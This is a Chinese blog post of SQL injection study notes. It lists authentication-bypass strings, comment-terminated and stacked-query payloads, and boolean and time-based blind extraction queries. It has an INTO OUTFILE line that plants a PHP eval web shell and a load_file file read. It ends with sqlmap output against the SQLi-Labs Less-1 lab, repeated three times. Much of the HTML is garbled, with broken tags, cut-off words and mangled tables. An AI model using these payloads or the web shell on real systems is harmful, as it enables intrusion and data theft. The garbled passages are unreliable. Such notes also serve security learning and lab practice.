链滴

SQLi(持续更新)

作者：someone38063
原文链接：https://ld246.com/article/1564157502228
来源网站：链滴

POST 注入是不用再编码的,GET 方法在 URL 中进行编码
URL 最大长度为 2048 字节
<h2 id="SQL注入产生过程">SQL 注入产生过程</h2>

转义字符处理不当

SQL 数据库将单引号(')解析成数据与代码的分界，也就是说单引号包裹的是数据，外面的是代码
如果在 URL 或 Web 页面中输入单引号，可以快速识别是否存在注入
单引号并不是唯一的转义字符，比如 Oracle 中，空格(||)，逗号(,)，点号(.)，(*/)，双引号(")</p

<ol start="2">
类型处理不当

处理数字数据时候，不需要用引号闭合，否则数字数据会被当作字符串处理
<ol start="3">

查询集处理不当

错误处理不当

web 服务器在呈现请求的 web 源时，如果发现错误会返回状态码 500，但有时候会 302 重定
到一些固定页面
'+'是 URI 的保留字，需要进行编码，encode 为：%2B
<h2 id="内联注入">内联注入</h2>
是指向查询注入一些 SQL 代码后，原来的查询仍然会全部执行

字符串内联注入

假设这是一个身份验证的表单

<hr>

username

password

<hr>
假设该查询为以下格式：
<pre><code class="highlight-chroma"><span class="highlight
cl">
SELECT *

FROM Admin

WHERE username = '[username]' AND passwd = 'passwd';

</code></pre>
向 username 输入一个单引号，单击提交后，若返回下列错误：
Error: You have an error in your SQL syntax; check the manual that corresponds to your ySQL server version for the right syntax to use near ''' at line1
这说明这个表单存在 SQL 注入，上面的输入构造的 SQL 语句为：
<pre><code class="highlight-chroma">
SELECT *

FROM Admin

WHERE username = ''' AND passwd = '';

</code></pre>
现在构造一条 SQL 语句，以绕过验证；在 username 中输入'OR '1'='1,password 保持空，输构造的 SQL 语句为：
<pre><code class="highlight-chroma">
SELECT *

FROM Admin

WHERE username = '' OR '1'='1' AND passwd = '';

</code></pre>
但是这条语句不会返回所有字段，因为 AND 比 OR 优先级高，所以需要修改一下
<pre><code class="highlight-chroma">
SELECT *

FROM Admin

WHERE (username = '') OR ('1'='1') OR ('1'='1' AND passwd = '');

</code></pre>
修改后的 SQL 语句保持 WHERE 子句条件永真，
如果想要返回 username=administrator 的记录行，SQL 语句为：
<pre><code class="highlight-chroma">
SELECT *

FROM Admin

WHERE username = 'administrator' AND 1 = 1 OR '1'='1' AND passwd = '';

</code></pre>
字符串内联注入的特征值

<table>
<thead>
<tr>
<th>测试字符串</th>
<th>变种</th>
<th>预期结果</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td></td>
<td>触发错误。如果成功，数据库返回错误信息</td>
</tr>
<tr>
<td><code>1' OR '1'='1</code></td>
<td><code>1') OR ('1'='1</code></td>
<td>永真条件，如果成功，将返回表中所有行</td>
</tr>
<tr>
<td><code>value' OR '1'='2</code></td>
<td><code>value') OR ('1'='2</code></td>
<td>空条件，如果成功，将会返回和原来语句一样的结果</td>
</tr>
<tr>
<td><code>1' AND '1'='2</code></td>
<td><code>1') AND ('1'='2</code></td>
<td>永假条件，如果成功，将不返回表中所有行</td>
</tr>
<tr>
<td><code>1' OR 'ab'='a'+'b</code></td>
<td><code>1') OR ('ab'='a'+'b</code></td>
<td>SQL Server 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td><code>1' OR 'ab'='a' 'b</code></td>
<td><code>1') OR ('ab'='a' 'b</code></td>
<td>MySQL 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td>`1' OR 'ab'='a'</td>
<td></td>
<td>'b`</td>
</tr>
<tr>
<td>2. 数字内联注入</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
注入数字时不用加单引号
数字内联注入特征值
<table>

```
<thead>
<tr>
<th>测试字符串</th>
<th>变种</th>
<th>预期结果</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td></td>
<td>触发错误。如果成功，数据库返回错误信息</td>
</tr>
<tr>
<td>1+1</td>
<td>3-1</td>
<td>如果成功，将返回与操作结果相同的值</td>
</tr>
<tr>
<td>value+0</td>
<td></td>
<td>如果成功，将返回与操作结果相同的值</td>
</tr>
<tr>
<td>1 OR 1=1</td>
<td>1) OR (1=1</td>
<td>永真条件。如果成功，将返回表中所有行</td>
</tr>
<tr>
<td>value OR 1=2</td>
<td>value) OR (1=2</td>
<td>空条件，如果成功，将会返回和原来语句一样的结果</td>
</tr>
<tr>
<td>1 AND 1=2</td>
<td>1) AND (1=2</td>
<td>永假条件，如果成功，将不返回表中所有行</td>
</tr>
<tr>
<td>1 OR 'ab'='a'+'b</td>
<td>1) OR ('ab'='a'+'b</td>
<td>SQL Server 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td>1 OR 'ab'='a' 'b</td>
<td>1) OR ('ab'='a' 'b</td>
<td>MySQL 字符串连接。如果成功，将返回与永真条件相同的信息</td>
</tr>
<tr>
<td>`1 OR 'ab'='a'</td>
<td></td>
<td>'b`</td>
</tr>
</tbody>
```

</table>
<h2 id="终止式注入">终止式注入</h2>
注入 SQL 代码时，通过将原查询语句的剩余部分注释掉，从而成功结束原来的查询语句

数据库注释

<table>
<thead>
<tr>
<th>数据库</th>
<th>注释</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL Server,Oracle,PostgreSQL</td>
<td>--(双连字符)</td>
<td>用于单行注释</td>
</tr>
<tr>
<td>SQL Server,Oracle,PostgreSQL</td>
<td>/* */</td>
<td>用于多行注释</td>
</tr>
<tr>
<td>MYSQL</td>
<td>--(双连字符)</td>
<td>用于单行注释，第二个连字符后面需要加一个空格或控制字符(制表符、换行符)</td>
</tr>
<tr>
<td>MYSQL</td>
<td>#</td>
<td>用于单行注释</td>
</tr>
<tr>
<td>MYSQL</td>
<td>/* */</td>
<td>用于多行注释</td>
</tr>
</tbody>
</table>

防止 SQL 注入的技术有：从最开始位置检测，清除用户输入中的所有空格，截短输入的值。可使用多行注释来绕过这些限制(避免使用空格)

假设一个请求：<code>http://localhost/main.php?id=2/*hello*/</code>
如果该请求正常返回且得到与 id=2 相同的结果，即数据库忽略了注释内容，说明可能存在 SQL 注入
<ol start="2">
使用注释终止 SQL 语句

<hr>

username

password

<hr>
该查询为以下格式：
<pre><code class="highlight-chroma"><span class="highlight
cl">
SELECT *

FROM Admin

WHERE username
= '[username]' AND passwd = 'passwd';

</code></pre>

只向 username 字段注入代码并终止该语句，注入：<code>' OR 1=1;--</code>；构造的 SQL
语句为：

<pre><code class="highlight-chroma"><span class="highlight
cl">
SELECT *

FROM Admin

WHERE username
= '' OR 1=1;-- AND passwd ='';

</code></pre>
由于'1=1'为永真条件，该语句返回 Admin 表中的所有行，而且注释掉后半部分，有时候无法使
使用(--)，因为可能对他进行了过滤，也可能在注释过程中产生了错误，这时使用多行注释(/* */)来替
(--)

使用多行注释

对 username 字段和 password 字段分别注入 <code>admin'/*</code> 和 <code>*/'</cod
>，构造的 SQL 语句为：
<pre><code class="highlight-chroma"><span class="highlight
cl">
SELECT *

FROM Admin

WHERE username
= 'admin'/* AND passwd = '*/''

</code></pre>

等同于：<code>SELECT * FROM Admin WHERE username = 'admin''';</code>
数据库的连接运算符
<table>
<thead>
<tr>
<th>数据库</th>
<th>实例</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL Server</td>
<td>'a'+'b'='ab'</td>
</tr>
<tr>
<td>MySQL</td>
<td>'a' 'b'='ab'</td>
</tr>
<tr>
<td>Oracle 和 PostgreSQL</td>
<td>``'a'</td>
</tr>
</tbody>
</table>
可以用以上几种方法辨别应用为哪种数据库

原始请求：<code>http://localhost/main.php?user=root --</code>

SQL Server <code>http://localhost/main.php?user=ro' + 'ot --</code>

MYSQL <code>http://localhost/main.php?user=ro' 'ot -- </code>

Oracle 和 PostgreSQL <code>http://localhost/main.php?user=ro'||'ot --</code>

<blockquote>
使用数据库注释时常用的特征值
</blockquote>
<table>
<thead>
<tr>
<th>测试字符串</th>
<th>变种</th>
<th>预期结果</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>admin'--</code></td>
<td><code>admin')--</code></td>

<td>通过返回数据库中的 admin 行来绕过验证</td>
</tr>
<tr>
<td><code>admin'#</code></td>
<td><code>admin')#</code></td>
<td>MYSQL 通过返回数据库中的 admin 行来绕过验证</td>
</tr>
<tr>
<td><code>1--</code></td>
<td><code>1)--</code></td>
<td>注释掉剩下的查询，希望能够清除可注入参数后面 WHERE 子句指定的过滤</td>
</tr>
<tr>
<td><code>1 OR 1=1--</code></td>
<td><code>1) OR 1=1--</code></td>
<td>注入一个数字参数，返回所有行</td>
</tr>
<tr>
<td><code>' OR '1'='1'--</code></td>
<td><code>') OR '1'='1'--</code></td>
<td>注入一个字符串参数，返回所有行</td>
</tr>
<tr>
<td><code>-1 AND 1=2--</code></td>
<td><code>-1) AND 1=2</code></td>
<td>注入一个数字参数，不返回任何行</td>
</tr>
<tr>
<td><code>' AND '1'='2'--</code></td>
<td><code>') AND '1'='2'--</code></td>
<td>注入一个字符串参数，不返回任何行</td>
</tr>
<tr>
<td>1 <code>/*注释*/</code></td>
<td></td>
<td>将注入注释掉。如果成功，将不会对请求产生任何影响。有助于识别 SQL 注入</td>
</tr>
</tbody>
</table>
<ol start="3">
执行多条 SQL 语句

如果终止了一条 SQL 语句，就可以创建一条新的没有限制的 SQL 语句
用于注入多条 SQL 语句的特征值
<table>
<thead>
<tr>
<th>测试字符串</th>
<th>变种</th>
<th>预期结果</th>
</tr>
</thead>
<tbody>
<tr>

<td><code>';[SQL Statement];--</code></td>
<td><code>);[SQL Statement];--</code></td>
<td>注入一个字符串参数，执行多条语句</td>
</tr>
<tr>
<td><code>';[SQL Statement];#</code></td>
<td><code>');[SQL Statement];#</code></td>
<td>MYSQL 注入一个字符串参数，执行多条语句</td>
</tr>
<tr>
<td><code>;[SQL Statement];--</code></td>
<td><code>);[SQL Statement];--</code></td>
<td>注入一个数值参数，执行多条语句</td>
</tr>
<tr>
<td><code>;[SQL Statement];#</code></td>
<td><code>);[SQL Statement];#</code></td>
<td>MYSQL 注入一个数值参数，执行多条语句</td>
</tr>
</tbody>
</table>
<ol start="4">
延迟注入

当在进行 SQL 盲注的过程中，经常会不确定是否存在漏洞，有时候 Web 应用不会返回任何错，无法检索任何数据，这时候为了识别漏洞，需要向数据库注入时间延迟，并且检查服务器端响应是也产生了延迟
<h2 id="获取数据库flag">获取数据库 flag</h2>
查询各种数据库的版本
<table>
<thead>
<tr>
<th>数据库</th>
<th>查询语句</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS SQL Server</td>
<td>SELECT @@VERSION</td>
</tr>
<tr>
<td>MySQL</td>
<td>SELECT version() , SELECT @@VERSION</td>
</tr>
<tr>
<td>Oracle</td>
<td><code>SELECT banner FROM v$version SELECT banner FROM v$version WHERE rownu=1</code></td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>SELECT version()</td>
</tr>

```
</tbody>
</table>
<h2 id="使用UNION语句">使用 UNION 语句</h2>
<p>满足的条件：</p>
<ol>
<li>
<p>两个查询返回的列数必须相同</p>
</li>
<li>
<p>两个查询对应列的数据类型相同或兼容</p>
</li>
</ol>
<p>如果不满足这两个条件，数据库则会返回错误，根据返回语句的不同，我们可以分辨其数据库类
</p>
<p>可以用 <code>ORDER BY</code> 子句 + 数字参数，例如 <code>ORDER BY 6</code>
测试列数</p>
<ul>
<li>
<p>尝试 <code>ORDER BY 6</code>，若不返回错误，说明列数 &gt;6</p>
</li>
<li>
<p>尝试 <code>ORDER BY 14</code>，若返回错误，说明 8&lt; 列数 &lt;14</p>
</li>
</ul>
<p>以此类推该二分法，即可推断出列数。</p>
<p>选用 <code>ORDER BY 6</code> 子句的原因是因为他在服务器日志留下的痕迹更小</p>
<h2 id="不同数据库将任意数据转换为字符串">不同数据库将任意数据转换为字符串</h2>
<table>
<thead>
<tr>
<th>数据库</th>
<th>语句</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS SQL Server</td>
<td>SELECT CAST('111' AS varchar)</td>
</tr>
<tr>
<td>MySQL</td>
<td>SELECT CAST('111' AS char)</td>
</tr>
<tr>
<td>Oracle</td>
<td>SELECT CAST(111 AS varchar) FROM dual</td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>SELECT CAST(111 AS text)</td>
</tr>
<tr>
<td>PostgreSQL 允许非字符串变量连接字符串 `(</td>
<td></td>
```

</tr>
</tbody>
</table>
<h2 id="导出数据库">导出数据库</h2>
<code>SELECT '<?php eval($_POST[cmd])?>' into outfile '物理地址'</code>
<h2 id="读文件">读文件</h2>
load_file(0x23213213213) //支持 16 进制
<code>select load_file(c:\a.txt);</code>
<h2 id="---HTML中为锚点">(#)HTML 中为锚点</h2>
在 SQL 注入中使用注释符'#'会被认为是锚点，需要进行 URL 编码'%23'
<h2 id="布尔注入">布尔注入</h2>

函数

mid(str,1,3) 字符串截取
ORD(s) 转换为 ASCII 码
length(s) 字节数
version() 数据库版本
database() 数据库名
user() 查看当前用户

布尔注入得到数据库名称长度: <code>username=1' or length(database())>1 # &passwd='22222';</code>,<code>username=1' or length(database())>2 # &passwd='2222'</code>,<code>username=1' or length(database())>3 # &passwd='22222'</code>.....以此类推得到数据库名称长度

布尔注入进行字符串截取确认每一个字符: <code>username=1' or ORD(mid(database(),1,1))gt;1 # &passwd='22222';</code>, <code>username=1' or ORD(mid(database(),1,1))&gt2 # &passwd='22222';</code>, <code>username=1' or ORD(mid(database(),1,1))>3 &passwd='22222';</code>.....以此类推确认第一个字符； <code>username=1' or ORD(md(database(),2,1))>1 # &passwd='22222';</code>.....确认第二个字符.....最终得到<strog>数据库名称

获取表的总数: <code>select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database();</code>

获取表名长度: <code>select length(TABLE_NAME) from information_schema.TABLES wher TABLE_SCHEMA=database() limit a,b;</code>

获取第一个表的长度: <code>select length(TABLE_NAME) from information_schema.TABLE where TABLE_SCHEMA=database() limit 0,1;</code>

获取第二个表的长度: <code>select length(TABLE_NAME) from information_schema.TABLE where TABLE_SCHEMA=database() limit 1,1;</code>


```
<ol start="5">
<li>
<p>获取表内容: <code>select TABLE_NAME from information_schema.TABLES where TABLE_
CHEMA=database();</code></p>
</li>
<li>
<p>获取字段总数: <code>select length(TABLE_NAME) from information_schema.TABLES wher
 TABLE_SCHEMA=表名 limit a,b;</code></p>
</li>
</ol>
<ul>
<li>
<p>获取第一个字段长度: <code>select length(TABLE_NAME) from information_schema.TABLE
 where TABLE_SCHEMA=表名 limit 0,1;</code></p>
</li>
<li>
<p>获取第二个字段长度: <code>select length(TABLE_NAME) from information_schema.TABLE
 where TABLE_SCHEMA=表名 limit 1,1;</code></p>
</li>
</ul>
<hr>
<h2 id="使用SQLMAP注入SQL-Lab下sqli-Less-1的结果">使用 SQLMAP 注入 SQL Lab 下 sqli/Le
s-1 的结果</h2>
<pre><code class="highlight-chroma"><span class="highlight-line"><span class="highlight
cl">
</span></span><span class="highlight-line"><span class="highlight-cl">sqlmap identified
he following injection point(s) with a total of 52 HTTP(s) requests:
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">---
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Parameter: id (GET

</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Type: boolean-ba
ed blind
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Title: AND boolea
-based blind - WHERE or HAVING clause
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1''' A
D 6967=6967 AND 'oblw'='oblw
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Type: error-based
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Title: MySQL &gt;
 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
</span></span><span class="highlight-line"><span class="highlight-cl">
</span></span><span class="highlight-line"><span class="highlight-cl">Payload: id=1''' A
D (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))
,0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
AND 'wBLF'='wBLF
</span></span><span class="highlight-line"><span class="highlight-cl">
```

Type: time-based
lind

Title: MySQL >
5.0.12 AND time-based blind (query SLEEP)

Payload: id=1''' A
D (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg

Type: UNION que
y

Title: Generic UNI
N query (NULL) - 3 columns

Payload: id=-6117
UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c617770457
5979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)--

---

web application t
chnology: Apache 2.4.39, PHP 7.2.18

back-end DBMS:
ySQL >= 5.0

current database:
security'

sqlmap resumed t
e following injection point(s) from stored session:

Parameter: id (GET

Type: boolean-ba
ed blind

Title: AND boolea
-based blind - WHERE or HAVING clause

Payload: id=1''' A
D 6967=6967 AND 'oblw'='oblw

Type: error-based

Title: MySQL >
5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1''' A
D (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))
,0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
AND 'wBLF'='wBLF

Type: time-based
lind

Title: MySQL >
5.0.12 AND time-based blind (query SLEEP)

Payload: id=1''' A
D (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg

Type: UNION que
y

Title: Generic UNI
N query (NULL) - 3 columns

Payload: id=-6117
UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c617770457
5979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS

---

web application t
chnology: Apache 2.4.39, PHP 7.2.18

back-end DBMS:
ySQL >= 5.0

current database:
security'

sqlmap resumed t
e following injection point(s) from stored session:

Parameter: id (GET

Type: boolean-ba
ed blind

Title: AND boolea
-based blind - WHERE or HAVING clause

Payload: id=1''' A
D 6967=6967 AND 'oblw'='oblw

Type: error-based

Title: MySQL >
 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1''' A
D (SELECT 1962 FROM(SELECT COUNT(*),CONCAT(0x716b786271,(SELECT (ELT(1962=1962,1))
,0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
AND 'wBLF'='wBLF

Type: time-based
lind

Title: MySQL >
 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1''' A
D (SELECT 5905 FROM (SELECT(SLEEP(5)))mVqx) AND 'gCTg'='gCTg

Type: UNION que
y

Title: Generic UNI
N query (NULL) - 3 columns

Payload: id=-6117
 UNION ALL SELECT NULL,NULL,CONCAT(0x716b786271,0x736d4b46575247556c617770457
5979796f546c484669536a77414d676c5a71486a726443515766,0x7170787871)-- IrVS

---

web application t
chnology: Apache 2.4.39, PHP 7.2.18

back-end DBMS:
ySQL >= 5.0

current database:
security'

</code></pre>